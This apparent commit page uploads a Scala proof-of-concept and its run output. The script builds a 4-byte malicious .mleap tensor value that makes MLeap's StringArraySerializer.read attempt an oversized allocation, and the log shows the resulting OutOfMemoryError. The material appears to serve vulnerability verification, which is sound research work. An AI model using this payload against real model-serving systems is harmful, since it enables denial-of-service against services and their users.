testamentaria commited on
Commit
b835b76
·
verified ·
1 Parent(s): b6302b8

Upload 2 files

Browse files
Files changed (2) hide show
  1. poc_dos_unbounded_alloc.scala +57 -0
  2. run_output.txt +89 -0
poc_dos_unbounded_alloc.scala ADDED
@@ -0,0 +1,57 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import ml.combust.bundle.tensor.StringArraySerializer
2
+ import java.io.{ByteArrayInputStream, DataInputStream}
3
+ import java.nio.{ByteBuffer, ByteOrder}
4
+
5
+ val maxMem = Runtime.getRuntime.maxMemory()
6
+ println(s"JVM Runtime.getRuntime.maxMemory() for THIS console session = $maxMem bytes (~${maxMem / (1024*1024)} MB)")
7
+
8
+ // Choose a declared size comfortably ABOVE this JVM's actual max heap, so the allocation is
9
+ // guaranteed to fail deterministically against the real ceiling of this specific process,
10
+ // rather than relying on hitting the ~2GiB/Int.MaxValue JVM-wide array-length limit (which would
11
+ // require a much larger, riskier request in a shared session). Still representative of the same
12
+ // bug class: a 4-byte attacker payload requesting far more than is actually available.
13
+ val requestedSize: Int = {
14
+ val candidate = maxMem + 200L * 1024 * 1024 // maxMemory + 200MB, guaranteed OOM on this heap
15
+ if (candidate > Int.MaxValue - 16) Int.MaxValue - 16 else candidate.toInt
16
+ }
17
+ println(s"Requested array size (attacker-controlled 4-byte int in the .mleap tensor) = $requestedSize bytes (~${requestedSize / (1024*1024)} MB)")
18
+
19
+ // Build the 4-byte payload exactly as StringArraySerializer.read expects: a big-endian Int32
20
+ // (java.io.DataInputStream.readInt()) followed by (in the real bug) NOT enough actual data --
21
+ // here we omit the string entries entirely, since the crash happens at `new Array[Byte](size)`
22
+ // BEFORE any subsequent bytes are read.
23
+ val buf = ByteBuffer.allocate(4).order(ByteOrder.BIG_ENDIAN)
24
+ buf.putInt(requestedSize)
25
+ val payload: Array[Byte] = buf.array()
26
+ println(s"Payload size actually present in the malicious .mleap tensor value: ${payload.length} bytes")
27
+
28
+ println("\n=== Calling the REAL library function StringArraySerializer.read(payload) directly ===")
29
+
30
+ // Mimic how the real code path calls this: TensorSerializer.fromProto wraps the call, and the
31
+ // library's OWN read() already uses `Try{...}` internally (ArraySerializer.scala) which is built
32
+ // on `scala.util.control.NonFatal` -- NonFatal explicitly excludes VirtualMachineError (the
33
+ // superclass of OutOfMemoryError). To verify that claim empirically, we wrap the call in BOTH:
34
+ // 1. a scala.util.Try (idiomatic Scala error handling, what a typical caller/framework uses)
35
+ // 2. a raw catch (t: Throwable) as a control, to prove the OOM DOES exist and IS catchable if
36
+ // you go out of your way to catch Throwable specifically (which the library code does not).
37
+ import scala.util.Try
38
+
39
+ print("[1] Try{ StringArraySerializer.read(payload) } ... ")
40
+ val tryResult = Try {
41
+ StringArraySerializer.read(payload)
42
+ }
43
+ tryResult match {
44
+ case scala.util.Success(v) => println(s"[UNEXPECTED SUCCESS] got: $v")
45
+ case scala.util.Failure(e) => println(s"[Try CAUGHT IT] ${e.getClass.getName}: ${e.getMessage}")
46
+ }
47
+
48
+ println("\n[2] raw catch (t: Throwable) as a control, to confirm the OOM is real and only a Throwable-level catch sees it:")
49
+ try {
50
+ val v = StringArraySerializer.read(payload)
51
+ println(s"[UNEXPECTED SUCCESS] got: $v")
52
+ } catch {
53
+ case t: Throwable =>
54
+ println(s"[Throwable-level catch caught it] ${t.getClass.getName}: ${t.getMessage}")
55
+ }
56
+
57
+ println("\n=== DONE ===")
run_output.txt ADDED
@@ -0,0 +1,89 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ WARNING: A terminally deprecated method in sun.misc.Unsafe has been called
2
+ WARNING: sun.misc.Unsafe::objectFieldOffset has been called by scala.runtime.LazyVals$ (file:/C:/Users/user/Documents/Framework%20IA/framework-ia/targets/mleap/verify/tools/sbt/bin/sbt-launch.jar)
3
+ WARNING: Please consider reporting this to the maintainers of class scala.runtime.LazyVals$
4
+ WARNING: sun.misc.Unsafe::objectFieldOffset will be removed in a future release
5
+ WARNING: A terminally deprecated method in sun.misc.Unsafe has been called
6
+ WARNING: sun.misc.Unsafe::objectFieldOffset has been called by scala.runtime.LazyVals$ (file:/C:/Users/user/Documents/Framework%20IA/framework-ia/targets/mleap/verify/tools/sbt/bin/sbt-launch.jar)
7
+ WARNING: Please consider reporting this to the maintainers of class scala.runtime.LazyVals$
8
+ WARNING: sun.misc.Unsafe::objectFieldOffset will be removed in a future release
9
+ WARNING: A restricted method in java.lang.System has been called
10
+ WARNING: java.lang.System::load has been called by com.sun.jna.Native in an unnamed module (file:/C:/Users/user/.sbt/boot/scala-2.12.21/org.scala-sbt/sbt/1.12.5/jna-5.12.0.jar)
11
+ WARNING: Use --enable-native-access=ALL-UNNAMED to avoid a warning for callers in this module
12
+ WARNING: Restricted methods will be blocked in a future release unless native access is enabled
13
+
14
+ [info] welcome to sbt 1.12.5 (Oracle Corporation Java 24.0.1)
15
+ [info] loading settings for project repo-build from plugins.sbt...
16
+ [info] loading project definition from C:\Users\user\Documents\Framework IA\framework-ia\targets\mleap\repo\project
17
+ [info] loading settings for project mleap from build.sbt...
18
+ [info] loading settings for project mleap-base from build.sbt...
19
+ [info] loading settings for project bundle-ml from build.sbt...
20
+ [info] loading settings for project bundle-hdfs from build.sbt...
21
+ [info] loading settings for project mleap-tensor from build.sbt...
22
+ [info] loading settings for project mleap-core from build.sbt...
23
+ [info] loading settings for project mleap-runtime from build.sbt...
24
+ [info] loading settings for project mleap-avro from build.sbt...
25
+ [info] loading settings for project mleap-spark-base from build.sbt...
26
+ [info] loading settings for project mleap-spark-testkit from build.sbt...
27
+ [info] loading settings for project mleap-spark from build.sbt...
28
+ [info] loading settings for project mleap-spark-extension from build.sbt...
29
+ [info] loading settings for project mleap-tensorflow from build.sbt...
30
+ [info] loading settings for project mleap-xgboost-runtime from build.sbt...
31
+ [info] loading settings for project mleap-xgboost-spark from build.sbt...
32
+ [info] loading settings for project mleap-serving from build.sbt...
33
+ [info] loading settings for project mleap-executor from build.sbt...
34
+ [info] loading settings for project mleap-executor-testkit from build.sbt...
35
+ [info] loading settings for project mleap-executor-tests from build.sbt...
36
+ [info] loading settings for project mleap-repository-s3 from build.sbt...
37
+ [info] loading settings for project mleap-grpc from build.sbt...
38
+ [info] loading settings for project mleap-grpc-server from build.sbt...
39
+ [info] loading settings for project mleap-benchmark from build.sbt...
40
+ [info] loading settings for project mleap-spring-boot from build.sbt...
41
+ [info] loading settings for project mleap-databricks-runtime-fat from build.sbt...
42
+ [info] loading settings for project mleap-databricks-runtime from build.sbt...
43
+ [info] loading settings for project mleap-databricks-runtime-testkit from build.sbt...
44
+ [info] resolving key references (31183 settings) ...
45
+ [info] set current project to mleap (in build file:/C:/Users/user/Documents/Framework%20IA/framework-ia/targets/mleap/repo/)
46
+ [info] Installing the s3:// URLStreamHandler via java.net.URL.setURLStreamHandlerFactory
47
+ [info] Creating a new Ivy URLHandlerDispatcher to handle s3:// URLs
48
+ Warning: Tried to extract the base path for relative glob bundle-protobuf\bundle\**\*. To disable this warning, re-run the program with java option, -Dsbt.io.implicit.relative.glob.conversion=allow
49
+ Warning: Tried to extract the base path for relative glob bundle-protobuf\bundle\**\*. To disable this warning, re-run the program with java option, -Dsbt.io.implicit.relative.glob.conversion=allow
50
+ Warning: Tried to extract the base path for relative glob bundle-protobuf\bundle\**\*.{java,scala}. To disable this warning, re-run the program with java option, -Dsbt.io.implicit.relative.glob.conversion=allow
51
+ Warning: Tried to extract the base path for relative glob bundle-protobuf\bundle\**\*.{java,scala}. To disable this warning, re-run the program with java option, -Dsbt.io.implicit.relative.glob.conversion=allow
52
+ [info] Starting scala interpreter...
53
+ Welcome to Scala 2.13.18 (Java HotSpot(TM) 64-Bit Server VM, Java 24.0.1).
54
+ Type in expressions for evaluation. Or try :help.
55
+ [?2004h>....import ml.combust.bundle.tensor.StringArraySerializer
56
+ [?2004h>....import java.io.{ByteArrayInputStream, DataInputStream}
57
+ [?2004h>....import java.nio.{ByteBuffer, ByteOrder}
58
+ [?2004h>....[?2004h>....val maxMem: Long = 1073741824
59
+ [?2004h>....JVM Runtime.getRuntime.maxMemory() for THIS console session = 1073741824 bytes (~1024 MB)
60
+ [?2004h>....[?2004h>....[?2004h>....[?2004h>....[?2004h>....[?2004h>....[?2004h>....val requestedSize: Int = 1283457024
61
+ [?2004h>....Requested array size (attacker-controlled 4-byte int in the .mleap tensor) = 1283457024 bytes (~1224 MB)
62
+ [?2004h>....[?2004h>....[?2004h>....[?2004h>....[?2004h>....[?2004h>....val buf: java.nio.ByteBuffer = java.nio.HeapByteBuffer[pos=0 lim=4 cap=4]
63
+ [?2004h>....val res2: java.nio.ByteBuffer = java.nio.HeapByteBuffer[pos=4 lim=4 cap=4]
64
+ [?2004h>....val payload: Array[Byte] = Array(76, -128, 0, 0)
65
+ [?2004h>....Payload size actually present in the malicious .mleap tensor value: 4 bytes
66
+ [?2004h>....[?2004h>....
67
+ === Calling the REAL library function StringArraySerializer.read(payload) directly ===
68
+ [?2004h>....[?2004h>....[?2004h>....[?2004h>....[?2004h>....[?2004h>....[?2004h>....[?2004h>....[?2004h>....import scala.util.Try
69
+ [?2004h>....[?2004h>....[1] Try{ StringArraySerializer.read(payload) } ... [?2004h>....java.lang.OutOfMemoryError: Java heap space
70
+ at ml.combust.bundle.tensor.StringArraySerializer$.$anonfun3(ArraySerializer.scala:163)
71
+ at ml.combust.bundle.tensor.StringArraySerializer$$$Lambda/0x00000200a319d6a8.apply(Unknown Source)
72
+ at scala.util.Try$.apply(Try.scala:217)
73
+ at ml.combust.bundle.tensor.StringArraySerializer$.$anonfun2(ArraySerializer.scala:161)
74
+ at ml.combust.bundle.tensor.StringArraySerializer$$$Lambda/0x00000200a319d2d0.apply(Unknown Source)
75
+ at scala.util.Using$.apply(Using.scala:296)
76
+ at ml.combust.bundle.tensor.StringArraySerializer$.read(ArraySerializer.scala:155)
77
+ at $anonfun$tryResult$1(<console>:2)
78
+ at $Lambda/0x00000200a3195108.apply(Unknown Source)
79
+ at scala.util.Try$.apply(Try.scala:217)
80
+ ... 22 elided
81
+ [?2004h>.... ^
82
+ error: not found: value tryResult
83
+ [?2004h>....[?2004h>....
84
+ [2] raw catch (t: Throwable) as a control, to confirm the OOM is real and only a Throwable-level catch sees it:
85
+ [?2004h>....[Throwable-level catch caught it] java.lang.OutOfMemoryError: Java heap space
86
+ [?2004h>....[?2004h>....
87
+ === DONE ===
88
+ [?2004h>....
89
+ [success] Total time: 13 s, completed 23 jul 2026, 10:28:47